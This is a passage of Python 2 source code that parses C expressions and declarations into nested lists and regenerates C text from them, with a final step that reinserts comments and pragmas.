gl.append(j)
ret = ret[0:2] + gl + ret[2:]
if len(ret)==2:
return None
return ret
def external_declaration(self):
revert = self.currentPos
ret=[self.currentPos,'external_declaration']
self.skipSpaces()
symb = self.function_definition()
if symb!=None:
ret.append(symb)
return ret
self.skipSpaces()
symb = self.declaration()
if symb!=None:
ret.append(symb)
return ret
if len(self.srcCode)> self.currentPos:
self.reportError('Unparsed code')
return None
def function_definition(self):
revert = self.currentPos
ret=[self.currentPos,'function_definition']
self.skipSpaces()
symb = self.declaration_specifiers()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.declarator()
if symb==None:
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.declaration_list()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.compound_statement()
if symb==None:
self.currentPos= revert
return None
ret.append(symb)
return ret
def constant_expression(self):
revert = self.currentPos
ret=[self.currentPos,'constant_expression']
self.skipSpaces()
symb = self.conditional_expression()
if symb!=None:
ret.append(symb)
return ret
self.currentPos = revert
return None
def expression(self):
revert = self.currentPos
ret=[self.currentPos,'expression']
self.skipSpaces()
symb = self.assignment_expression()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.assignment_expression()
if symb==None:
self.reportError('expected expression after ,')
self.currentPos = revert
return None
ret.append(symb)
self.currentPos = revert
return None
def assignment_expression(self):
revert = self.currentPos
ret=[] ##
self.skipSpaces()
symb = self.conditional_expression()
if symb==None:
self.currentPos = revert
return None
ret=symb
self.skipSpaces()
symb = self.checkSymbol('=|\*=|/=|%=|\+=|-=|<<=|>>=|&=|\^=|\|=')
if symb==None:
return ret
self.currentPos = revert
self.skipSpaces()
symb = self.unary_expression()
if symb==None:
self.currentPos = revert#prevert
return None
ret = symb
self.skipSpaces()
symb = self.checkSymbol('=|\*=|/=|%=|\+=|-=|<<=|>>=|&=|\^=|\|=')
if symb==None:
self.currentPos = revert
return ret
ret = [symb,ret]
self.skipSpaces()
symb = self.assignment_expression()
if symb==None:
self.currentPos = revert
return None
ret.append(symb)
return ret
def conditional_expression(self):
revert = self.currentPos
ret=['conditional_expression .?.:.'] ##
self.skipSpaces()
symb = self.logical_or_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
self.skipSpaces()
symb = self.checkSymbol('\?')
if symb==None:
return ret
ret = [symb,ret]
self.skipSpaces()
symb = self.expression()
if symb==None:
self.reportError('expression needed for ?: operator')
self.currentPos = revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(':')
if symb==None:
self.reportError('(:) needed for ?: operator')
self.currentPos = revert
return None
self.skipSpaces()
symb = self.conditional_expression()
if symb==None:
self.reportError('expression needed after colon in ?: operator')
self.currentPos = revert
return None
ret.append(symb)
return ret
def logical_or_expression(self):
revert = self.currentPos
ret=['logical_or_expression'] ##
self.skipSpaces()
symb = self.logical_and_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('\|\|')
if symb==None:
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.logical_and_expression()
if symb==None:
self.reportError('an expression expected after ||')
self.currentPos = revert
return None
ret.append(symb)
def logical_and_expression(self):
revert = self.currentPos
ret=['logical_and_expression'] ##
self.skipSpaces()
symb = self.inclusive_or_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('&&')
if symb==None:
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.inclusive_or_expression()
if symb==None:
self.reportError('an expression expected after &&')
self.currentPos = revert
return None
ret.append(symb)
def inclusive_or_expression(self):
revert = self.currentPos
ret=['inclusive_or_expression'] ##
self.skipSpaces()
symb = self.exclusive_or_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb=None
if len(self.srcCode)>self.currentPos+1:
if(self.srcCode[self.currentPos]=='|' and self.srcCode[self.currentPos+1]!='|' and self.srcCode[self.currentPos+1]!='='):
symb = '|'
self.currentPos = self.currentPos+1
if symb==None:
return ret
ret = [symb,ret]#
self.skipSpaces()
symb = self.exclusive_or_expression()
if symb==None:
self.reportError('an expression expected after |')
self.currentPos = revert
return None
ret.append(symb)
def exclusive_or_expression(self):
revert = self.currentPos
ret=['exclusive_or_expression'] ##
self.skipSpaces()
symb = self.and_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('\^')
if symb==None:
return ret
if self.srcCode[self.currentPos]=='=':
self.currentPos=self.currentPos-1
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.and_expression()
if symb==None:
self.reportError('an expression expected after ^')
self.currentPos = revert
return None
ret.append(symb)
def and_expression(self):
revert = self.currentPos
ret=['and_expression'] ##
self.skipSpaces()
symb = self.equality_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb=None
if len(self.srcCode)>self.currentPos+1:
if(self.srcCode[self.currentPos]=='&' and self.srcCode[self.currentPos+1]!='&' and self.srcCode[self.currentPos+1]!='='):
symb = '&'
self.currentPos = self.currentPos+1
if symb==None:
return ret
ret = [symb,ret]##ret.append(symb)
self.skipSpaces()
symb = self.equality_expression()
if symb==None:
self.reportError('an expression expected after &')
self.currentPos = revert
return None
ret.append(symb)
def equality_expression(self):
revert = self.currentPos
ret=['equality_expression'] ##
self.skipSpaces()
symb = self.relational_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('==|!=')#needed
if symb==None:
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.relational_expression()
if symb==None:
self.reportError('an expression expected after equaliy check operator')
self.currentPos = revert
return None
ret.append(symb)
def relational_expression(self):
revert = self.currentPos
ret=['relational_expression'] ##
self.skipSpaces()
symb = self.shift_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('<=|>=')#needed
if symb==None:
symb = self.checkSymbol('<|>')#needed
if symb==None:
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.shift_expression()
if symb==None:
self.reportError('an expression expected after relational operator')
self.currentPos = revert
return None
ret.append(symb)
def shift_expression(self):
revert = self.currentPos
ret=['shift_expression'] ##
self.skipSpaces()
symb = self.additive_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('<<|>>')#needed
if symb==None:
return ret
if self.srcCode[self.currentPos]=='=':
self.currentPos=self.currentPos-2
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.additive_expression()
if symb==None:
self.reportError('an expression expected after shift operator')
self.currentPos = revert
return None
ret.append(symb)
def additive_expression(self):
revert = self.currentPos
ret=['additive_expression'] ##
self.skipSpaces()
symb = self.multiplicative_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('\+|-')#needed
if symb==None:
return ret
if self.srcCode[self.currentPos]=='=':
self.currentPos=self.currentPos-1
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.multiplicative_expression()
if symb==None:
self.reportError('an expression expected after +/- operator')
self.currentPos = revert
return None
ret.append(symb)
def multiplicative_expression(self):
revert = self.currentPos
ret=['multiplicative_expression'] ##
self.skipSpaces()
symb = self.cast_expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
while True:
self.skipSpaces()
symb = self.checkSymbol('\*|/|%')#needed
if symb==None:
return ret
if self.srcCode[self.currentPos]=='=':
self.currentPos=self.currentPos-1
return ret
ret = [symb,ret]#ret.append(symb)
self.skipSpaces()
symb = self.cast_expression()
if symb==None:
self.reportError('an expression expected after *,/,% operator')
self.currentPos = revert
return None
ret.append(symb)
def cast_expression(self):
revert = self.currentPos
ret=['cast']
if self.DSL!=None:
symb = self.DSL.expression()
if symb!=None:
return symb
self.currentPos = revert
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.currentPos = revert
self.skipSpaces()
symb = self.unary_expression()
if symb!=None:
ret = symb
return ret
return None
self.skipSpaces()
symb = self.type_name()
if symb==None:
self.currentPos = revert
self.skipSpaces()
symb = self.unary_expression()
if symb!=None:
ret = symb
return ret
return None
ret = [symb]
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.currentPos = revert
return None
self.skipSpaces()
symb = self.cast_expression()
if symb==None:
self.currentPos = revert
return None
ret.append(symb)
return ret
def unary_operator(self):
self.skipSpaces()
symb = self.checkSymbol('&|\*|\+|-|~|!')
if symb==None:
return None
ret = symb
return ret
def unary_expression(self):
revert = self.currentPos
ret=['unary_expression']
self.skipSpaces()
symb = self.postfix_expression()
if symb!=None:
ret = symb
return ret
self.skipSpaces()
symb = self.checkSymbol('\+\+|--')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.unary_expression()
if symb!=None:
ret.append(symb)
return ret
self.currentPos = revert
return None
self.skipSpaces()
symb = self.unary_operator()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.cast_expression()
if symb!=None:
ret.append(symb)
return ret
self.currentPos = revert
return None
self.skipSpaces()
symb = self.checkSymbol('sizeof')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.currentPos = revert
return None
self.skipSpaces()
symb = self.type_name()
if symb==None:
self.currentPos = revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.currentPos = revert
return None
return ret
self.skipSpaces()
symb = self.unary_expression()
if symb!=None:
ret.append(symb)
return ret
self.currentPos = revert
return None
def argument_expression_list(self):
revert = self.currentPos
ret=[self.currentPos,'argument_expression_list']
self.skipSpaces()
symb = self.assignment_expression()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.assignment_expression()
if symb==None:
self.reportError('expected expression after ,')
self.currentPos = revert
return None
ret.append(symb)
self.currentPos = revert
return None
def postfix_expression(self):
revert = self.currentPos
ret=[]
self.skipSpaces()
symb = self.primary_expression()
if symb==None:
self.currentPos = revert
return None
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol('\[')
if symb!=None:
self.skipSpaces()
symb = self.expression()
if symb==None:
self.reportError('expression expected after [')
self.currentPos = revert
return None
ret.append('[expression]')
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\]')
if symb!=None:
continue
self.reportError('expected ]')
self.currentPos = revert
return None
symb = self.checkSymbol('\(')
if symb!=None:
self.skipSpaces()
symb = self.argument_expression_list()
if symb!=None:
ret.append('(argument_expression_list)')
ret.append(symb)
else:
ret.append('()')
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb!=None:
continue
#self.reportError('expected )')
self.currentPos = revert
return None
symb = self.checkSymbol('\.|->')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkID()
if symb!=None:
ret.append(symb)
continue
self.reportError('expected member name')
self.currentPos = revert
return None
symb = self.checkSymbol('\+\+|--')
if symb!=None:
ret.append(symb)
continue
break
return ret
def primary_expression(self):
revert = self.currentPos
ret=['primary_expression']##
self.skipSpaces()
symb = self.checkID()
if symb!=None:
ret = symb
return ret
symb = self.checkSymbol('''([0-9]+[Ee][+-]?[0-9]+(f|F|l|L)?)|([0-9]*\.[0-9]+([Ee][+-]?[0-9]+)?(f|F|l|L)?)|([0-9]+\.[0-9]*([Ee][+-]?[0-9]+)?(f|F|l|L)?)''')
if symb!=None:
ret = symb
return ret
symb = self.checkSymbol('''(0[xX][a-fA-F0-9]+(u|U|l|L)*)|(0[0-9]+(u|U|l|L)*)|([0-9]+(u|U|l|L)*)|(L?'(\\.|[^\\'])+')''')
if symb!=None:
ret = symb
return ret
symb = self.checkSymbol('L?\"(\\.|[^\\"])*\"')
if symb!=None:
ret = symb
return ret
symb = self.checkSymbol('\(')
if symb!=None:
self.skipSpaces()
symb = self.expression()
if symb==None:
self.currentPos = revert
return None
ret = symb
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expression started with paranthesis( should end with paranthesis)')
return ret
self.currentPos = revert
return None
class generator:
def __init__(self):
pass
def declaration(self,node):
if node[1]!='declaration':
return None
i = 2
ret = ''
symb = self.declaration_specifiers(node[i])
if symb==None:
print 'generator error: declaration with no declaration_specifiers'
return None
i = i + 1
ret = ret + symb
if len(node)>i:
symb = self.init_declarator_list(node[i])
if symb!=None:
ret = ret + ' ' + symb
ret = ret + ';'
return ret
def declaration_specifiers(self,node):
if node[1]!='declaration_specifiers':
return None
ret = ''
for i in node[2:]:
if isinstance(i,list)==False:
ret = ret + ' ' + i
else:
symb = self.struct_or_union_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
symb = self.enum_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
print 'generator error: declaration_specifiers with unknown specifier'
return None
return ret[1:]
def init_declarator_list(self,node):
if node[1]!='init_declarator_list':
return None
ret = ''
for i in node[2:]:
symb = self.init_declarator(i)
if symb!=None:
ret = ret + ', ' + symb
return ret[2:]
def init_declarator(self,node):
if node[1]!='init_declarator':
return None
i = 2
symb = self.declarator(node[i])
if symb==None:#no need
print 'generator error: init_declarator with no declarator'
return None
i = i + 1
ret = symb
if len(node)>i:
symb = self.initializer(node[i])
if symb!=None:
ret = ret + ' = ' + symb
return ret
def struct_or_union_specifier(self,node):
if node[1]!='struct' and node[1]!= 'union':
return None
ret = node[1]+' '+node[2]
if len(node)>3:
symb = self.struct_declaration_list(node[3])
if symb!=None:
ret = ret + '{' + symb + '\n}'
return ret
def struct_declaration_list(self,node):
if node[1]!='struct_declaration_list':
return None
ret = ''
for i in node[2:]:
symb = self.struct_declaration(i)
ret = ret +'\n'+ symb
return ret
def struct_declaration(self,node):
if node[1]!='struct_declaration':
return None
symb = self.specifier_qualifier_list(node[2])
if symb==None:
print 'generator error: struct_declaration without specifier_qualifier_list'
return None
ret = symb
symb = self.struct_declarator_list(node[3])
if symb==None:
print 'generator error: struct_declaration without struct_declarator_list'
return None
ret = ret + ' ' + symb + ';'
return ret
def specifier_qualifier_list(self, node):
if node[1]!='specifier_qualifier_list':
return None
ret = ''
for i in node[2:]:
if isinstance(i,list)==False:
ret = ret + ' ' + i
else:
symb = self.struct_or_union_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
symb = self.enum_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
print 'generator error: declaration_specifiers with unknown specifier'
return None
return ret[1:]
def struct_declarator_list(self,node):
if node[1]!='struct_declarator_list':
return None
ret = ''
for i in node[2:]:
symb = self.struct_declarator(i)
ret = ret + ' , ' + symb
return ret[3:]
def struct_declarator(self,node):
if node[1]!='struct_declarator':
return None
ret = ''
i = 2
symb = self.declarator(node[i])
if symb!=None:
ret = ret + symb
i = i + 1
if len(node)>i:
symb = self.constant_expression(node[i])
if symb!=None:
ret = ret + ':' + symb
return ret
def enum_specifier(self, node):
if node[1]!='enum':
return None
ret = 'enum ' + node[2]
if len(node)>3:
symb = self.enumerator_list(node[3])
ret = ret + '{' + symb + '}'
return ret
def enumerator_list(self, node):
if node[1]!='enumerator_list':
return None
ret = ''
for i in node[2:]:
symb = self.enumerator(i)
ret = ret + ' , ' + symb
return ret[3:]
def enumerator(self):
if node[1]!='enumerator':
return None
ret = node[2]
if len(node)>3:
symb = self.constant_expression(node[3])
ret = ret + ' = ' + symb
return ret
def declarator(self,node):
if node[1]!='declarator':
return None
ret = ''
i = 2
if len(node)>3:
symb = self.pointer(node[i])
ret = ret + symb
i = i + 1
symb = self.direct_declarator(node[i])
ret = ret + symb
return ret
def direct_declarator(self,node):
if node[1]!='direct_declarator':
return None
ret = ''
if isinstance(node[2],list)==False:
ret = ret + node[2]
else:
symb = self.declarator()
if symb==None:
print 'generator error: direct_declarator with neither an identifer nor a (declarator)'
return None
ret = ret +'('+ symb+')'
i = 3
while True:
if len(node)<=i:
break
if node[i]=='[]':
ret = ret + '[]'
i = i + 1
continue
elif node[i]=='[constant_expression]':
symb = self.constant_expression(node[i+1])
ret = ret + '[' + symb + ']'
i = i + 2
continue
elif node[i]=='()':
ret = ret + '()'
i = i + 1
continue
elif node[i]=='(parameter_type_list)':
symb = self.parameter_type_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
elif node[i]=='(identifier_list)':
symb = self.identifier_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
return ret
def pointer(self, node):
if node[1]!='pointer':
return None
ret = ''
for i in node[2:]:
if isinstance(i,list):
for j in i:
ret = ret + ' ' + j
else:
ret = ret + ' ' + i
ret = ret + ' '
return ret
def parameter_type_list(self, node):
if node[1]!='parameter_type_list':
return None
ret = self.parameter_list(node[2])
if len(node)>3:
ret = ret + ' , ...'
return ret
def parameter_list(self, node):
if node[1]!='parameter_list':
return None
ret = ''
for i in node[2:]:
symb = self.parameter_declaration(i)
if symb==None:
print 'generator error: parameter list with a non parameter_declaration element'# no need in fact
ret = ret + ' , ' + symb
return ret[3:]
def parameter_declaration(self, node):
if node[1]!='parameter_declaration':
return None
symb = self.declaration_specifiers(node[2])
if symb==None:
print 'generator error: declaration with no declaration_specifiers'
return None
ret = symb
if len(node)>3:
symb = self.declarator(node[3])
if symb==None:
symb = self.abstract_declarator(node[3])
if symb==None:
print 'generator error: parameter_declaration should have a declarator or an abstract declarator'
ret = ret + ' ' + symb
return ret
def identifier_list(self, node):
if node[1]!='identifier_list':
return None
ret = ''
for i in node[2:]:
ret = ret + ' , ' + i
return ret[3:]
def type_name(self, node):
if node[1]!='type_name':
return None
symb = self.specifier_qualifier_list(node[2])
if symb==None:
print 'generator error: type_name without specifier_qualifier_list'
return None
ret = symb
if len(node)>3:
symb = self.abstract_declarator(node[3])
ret = ret + ' ' + symb
return ret
def abstract_declarator(self,node):
if node[1]!='abstract_declarator':
return None
ret = ''
i = 2
symb = self.pointer(node[i])
if symb!=None:
ret = ret + symb
i = i + 1
if len(node)>i:
symb = self.direct_abstract_declarator(node[i])
if symb!=None:
ret = ret + ' ' + symb
return ret
def direct_abstract_declarator(self, node):
if node[1]!='direct_abstract_declarator':
return None
ret = ''
i = 2
while True:
if len(node)<=i:
break
if node[i]=='[]':
ret = ret + '[]'
i = i + 1
continue
elif node[i]=='[constant_expression]':
symb = self.constant_expression(node[i+1])
ret = ret + '[' + symb + ']'
i = i + 2
continue
elif node[i]=='()':
ret = ret + '()'
i = i + 1
continue
elif node[i]=='(parameter_type_list)':
symb = self.parameter_type_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
elif node[i]=='(abstract_declarator)':
symb = self.abstract_declarator(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
return ret
def initializer(self, node):
if node[1]!='initializer':
return None
ret = self.assignment_expression(node[2])
if ret!=None:
return ret
ret = self.initializer_list(node[2])
if ret==None:
print 'generator error: initializer should contain an assignment_expression or an initializer_list'
return None
if len(node)>2:
ret = '{' + ret + '}'
return ret
def initializer_list(self, node):
if node[1]!='initializer_list':
return None
ret = ''
for i in node[2:]:
symb = self.initializer(i)
if symb==None:
print 'generator error: initializer_list with a non initializer element'# no need in fact
ret = ret + ' , ' + symb
return ret[3:]
def statement(self, node):
if node[1]!='statement':
return None
symb = self.labeled_statement(node[2])
if symb!=None:
return symb
symb = self.compound_statement(node[2])
if symb!=None:
return symb
symb = self.expression_statement(node[2])
if symb!=None:
return symb
symb = self.selection_statement(node[2])
if symb!=None:
return symb
symb = self.iteration_statement(node[2])
if symb!=None:
return symb
symb = self.jump_statement(node[2])
if symb!=None:
return symb
return 'None C statement'
def labeled_statement(self, node):
if node[1]!='labeled_statement':
return None
if node[2]=='case':
symb = self.constant_expression(node[3])
ret = 'case ' + symb + ' : '
symb = self.statement(node[4])
ret = ret + symb
return ret
if node[2]=='default': # not needed
symb = self.statement(node[3])
ret = 'default : ' + symb
return ret
symb = self.statement(node[3])
ret = node[2] + ' : ' + symb
return ret
def compound_statement(self,node):
if node[1]!='compound_statement':
return None
ret = '{'
for i in node[2:]:
symb = self.declaration(i)
if symb!=None:
ret = ret + '\n' + symb
continue
symb = self.statement(i)
if symb!=None:
ret = ret + '\n' + symb
continue
break
ret = ret + '\n}'
return ret
def declaration_list(self,node):
if node[1]!='declaration_list':
return None
ret = ''
for i in node[2:]:
symb = self.declaration(i)
if symb==None:
print 'generator error: declaration_list with a non declaration element'# no need in fact
ret = ret + symb
return ret
def statement_list(self, node):
if node[1]!='statement_list':
return None
ret = ''
for i in node[2:]:
symb = self.statement(i)
if symb==None:
print 'generator error: declaration_list with a non declaration element'# no need in fact
ret = ret + symb
return ret
def expression_statement(self, node):
if node[1]!='expression_statement':
return None
ret = ''
if len(node)>2:
symb = self.expression(node[2])
if symb!=None:
ret = symb
ret = ret + ' ;'
return ret
def selection_statement(self, node):
if node[1]!='selection_statement':
return None
ret = ''
if node[2]=='if':
symb = self.expression(node[3])
ret = 'if ( ' + symb + ' ) '
symb = self.statement(node[4])
ret = ret + symb
if len(node)<6:
return ret
symb = self.statement(node[5])
ret = ret + ' else ' + symb
return ret
elif node[2]=='switch':
symb = self.expression(node[3])
ret = 'switch ( ' + symb + ' ) '
symb = self.statement(node[4])
ret = ret + symb
return ret
def iteration_statement(self, node):
if node[1]!='iteration_statement':
return None
ret = ''
if node[2]=='while':
symb = self.expression(node[3])
ret = 'while ( ' + symb + ' ) '
symb = self.statement(node[4])
ret = ret + symb
return ret
elif node[2]=='do':
symb = self.statement(node[3])
ret = 'do ' + symb + ' while ( '
symb = self.expression(node[4])
ret = ret + symb + ' );'
return ret
elif node[2]=='for':
symb = self.expression_statement(node[3])
if symb==None:
symb = self.declaration(node[3])
ret = 'for(' + symb
symb = self.expression_statement(node[4])
ret = ret + symb
i = 5
if len(node)>6:
symb = self.expression(node[i])
ret = ret + symb
i = i + 1
symb = self.statement(node[i])
ret = ret + ') ' + symb
return ret
def jump_statement(self, node):
if node[1]!='jump_statement':
return None
ret = ''
if node[2]=='goto':
return 'goto ' + node[3] + ';'
elif node[2]=='continue':
return 'continue;'
elif node[2]=='break':
return 'break;'
elif node[2]=='return':
ret = 'return '
if len(node)>3:
symb = self.expression(node[3])
ret = ret + symb
ret = ret + ';'
return ret
def translation_unit(self,node):
if node[1]!='translation_unit':
return None
ret=''
for i in node[2:]:
symb = self.external_declaration(i)
if symb==None:
return None
ret = ret + '\n' + symb
return ret
def external_declaration(self,node):
if node[1]!='external_declaration':
return None
ret=''
symb = self.function_definition(node[2])
if symb!=None:
ret = symb
return ret
symb = self.declaration(node[2])
if symb!=None:
ret = symb
return ret
return None
def function_definition(self,node):
if node[1]!='function_definition':
return None
i = 2
ret = ''
symb = self.declaration_specifiers(node[i])
if symb!=None:
i = i + 1
ret = ret + symb
symb = self.declarator(node[i])
if symb==None:
print 'generator error: function definition with no declarator'
return None
i = i + 1
ret = ret + ' ' + symb
symb = self.declaration_list(node[i])
if symb!=None:
i = i + 1
ret = ret + symb
symb = self.compound_statement(node[i])
if symb==None:
print 'generator error: function definition with no body'
return None
ret = ret + '\n' + symb
return ret
def constant_expression(self,node):
if node[1]!='constant_expression':
return None
return self.conditional_expression(node[2])
def expression(self,node):
if node[1]!='expression':
return None
ret = ''
for i in node[2:]:
symb = self.assignment_expression(i)
ret = ret + ' , ' + symb
return ret[2:]
def assignment_expression(self,node):
if isinstance(node[0],list)!=True:
asgOps=['=','*=','/=','%=','+=','-=','<<=','>>=','&=','^=','|=']
for i in asgOps:
if i==node[0]:
symb = self.unary_expression(node[1])
ret = symb + ' ' + node[0]
symb = self.assignment_expression(node[2])
ret = ret + ' ' + symb
return ret
return self.conditional_expression(node)
def conditional_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='?':
symb = self.logical_or_expression(node[1])
ret = symb + ' ? '
symb = self.expression(node[2])
ret = ret + symb + ' : '
symb = self.conditional_expression(node[3])
ret = ret + symb
return ret
return self.logical_or_expression(node)
def logical_or_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='||':
symb = self.logical_or_expression(node[1])
ret = symb + ' || '
symb = self.logical_and_expression(node[2])
ret = ret + symb
return ret
return self.logical_and_expression(node)
def logical_and_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='&&':
symb = self.logical_and_expression(node[1])
ret = symb + ' && '
symb = self.inclusive_or_expression(node[2])
ret = ret + symb
return ret
return self.inclusive_or_expression(node)
def inclusive_or_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='|':
symb = self.inclusive_or_expression(node[1])
ret = symb + ' | '
symb = self.exclusive_or_expression(node[2])
ret = ret + symb
return ret
return self.exclusive_or_expression(node)
def exclusive_or_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='^':
symb = self.exclusive_or_expression(node[1])
ret = symb + ' ^ '
symb = self.and_expression(node[2])
ret = ret + symb
return ret
return self.and_expression(node)
def and_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='&':
symb = self.and_expression(node[1])
ret = symb + ' & '
symb = self.equality_expression(node[2])
ret = ret + symb
return ret
return self.equality_expression(node)
def equality_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='==' or node[0]=='!=':
symb = self.equality_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.relational_expression(node[2])
ret = ret + symb
return ret
return self.relational_expression(node)
def relational_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='<' or node[0]=='>' or node[0]=='<=' or node[0]=='>=':
symb = self.relational_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.shift_expression(node[2])
ret = ret + symb
return ret
return self.shift_expression(node)
def shift_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='<<' or node[0]=='>>':
symb = self.shift_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.additive_expression(node[2])
ret = ret + symb
return ret
return self.additive_expression(node)
def additive_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='+' or node[0]=='-':
symb = self.additive_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.multiplicative_expression(node[2])
ret = ret + symb
return ret
return self.multiplicative_expression(node)
def multiplicative_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='*' or node[0]=='/' or node[0]=='%':
symb = self.multiplicative_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.cast_expression(node[2])
ret = ret + symb
return ret
return self.cast_expression(node)
def cast_expression(self,node):
if isinstance(node[0],list)==True:
symb = self.type_name(node[0])
if symb!=None:
ret = '(' + symb + ') '
symb = self.cast_expression(node[1])
ret = ret + symb
return ret
return self.unary_expression(node)
def unary_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='unary_expression':
if node[1]=='++' or node[1]=='--':
symb = self.unary_expression(node[2])
return node[1]+symb
elif node[1]=='&' or node[1]=='*' or node[1]=='+' or node[1]=='-' or node[1]=='~' or node[1]=='!':
symb = self.cast_expression(node[2])
return node[1]+symb
elif node[1]=='sizeof':
symb = self.type_name(node[2])
if symb == None:
symb = self.unary_expression(node[2])
return node[1]+symb
return node[1]+'('+symb+')'
return self.postfix_expression(node)
def argument_expression_list(self,node):
if node[1]!='argument_expression_list':
return None
ret = ''
for i in node[2:]:
symb = self.assignment_expression(i)
if symb!=None:
ret = ret + ' , ' + symb
return ret[2:]
def postfix_expression(self,node):
ret = self.primary_expression(node[0])
i = 1
while True:
if len(node)<=i:
break
if node[i]=='++' or node[i]=='--':
ret = ret + node[i]
i = i + 1
continue
elif node[i]=='.' or node[i]=='->':
ret = ret + node[i] + node[i+1]
i = i + 2
continue
elif node[i]=='[expression]':
symb = self.expression(node[i+1])
ret = ret + '[' + symb + ']'
i = i + 2
continue
elif node[i]=='()':
ret = ret + '()'
i = i + 1
continue
elif node[i]=='(argument_expression_list)':
symb = self.argument_expression_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
else:#modification
return None
return ret
def primary_expression(self,node):
if isinstance(node,list)!=True:
return node
return '('+self.expression(node)+')'
class finalprocessor:
def __init__(self):
pass
def finalOutput(self,dsl):
code = self.translation_unit(dsl.ast)
for i in dsl.GPL.pragmas+dsl.GPL.lComments+dsl.GPL.mComments:
pos = 0
while True:
m=re.search(r' \$\#([-]?[0-9]+)\#\$ ',code[pos:],flags=re.M|re.S)
if m==None:
code = code +'\n $#'+str(i[0])+'#$ '+i[2]+'\n'
break
#print 'comment at ' + str(i[0]) +', group at'+ m.group(1)+', pos '+str(pos)
if int(m.group(1))<i[0]:
pos = pos + m.end()
continue
code = code[:pos+m.start()]+' $#'+str(i[0])+'#$ '+i[2]+'\n'+code[pos+m.start():]
break
code = re.sub(r' \$\#([-]?[0-9]+)\#\$ ','',code,flags=re.M|re.S)
while True:
m = re.search(r'__AddAnnotation\s*\(\s*"(.*?)"\s*\)\s*;',code,flags=re.M|re.S)
if m==None:
break
code = code[:m.start()] +'#'+m.group(1)+ code[m.end():]
return code
def declaration(self,node):
if node[1]!='declaration':
return None
i = 2
ret = ''
symb = self.declaration_specifiers(node[i])
if symb==None:
print 'generator error: declaration with no declaration_specifiers'
return None
i = i + 1
ret = ret + symb
if len(node)>i:
symb = self.init_declarator_list(node[i])
if symb!=None:
ret = ret + ' ' + symb
ret = ret + ';'
return ' $#'+str(node[0])+'#$ '+ret
def declaration_specifiers(self,node):
if node[1]!='declaration_specifiers':
return None
ret = ''
for i in node[2:]:
if isinstance(i,list)==False:
ret = ret + ' ' + i
else:
symb = self.struct_or_union_specifier(i)
if symb!=None:
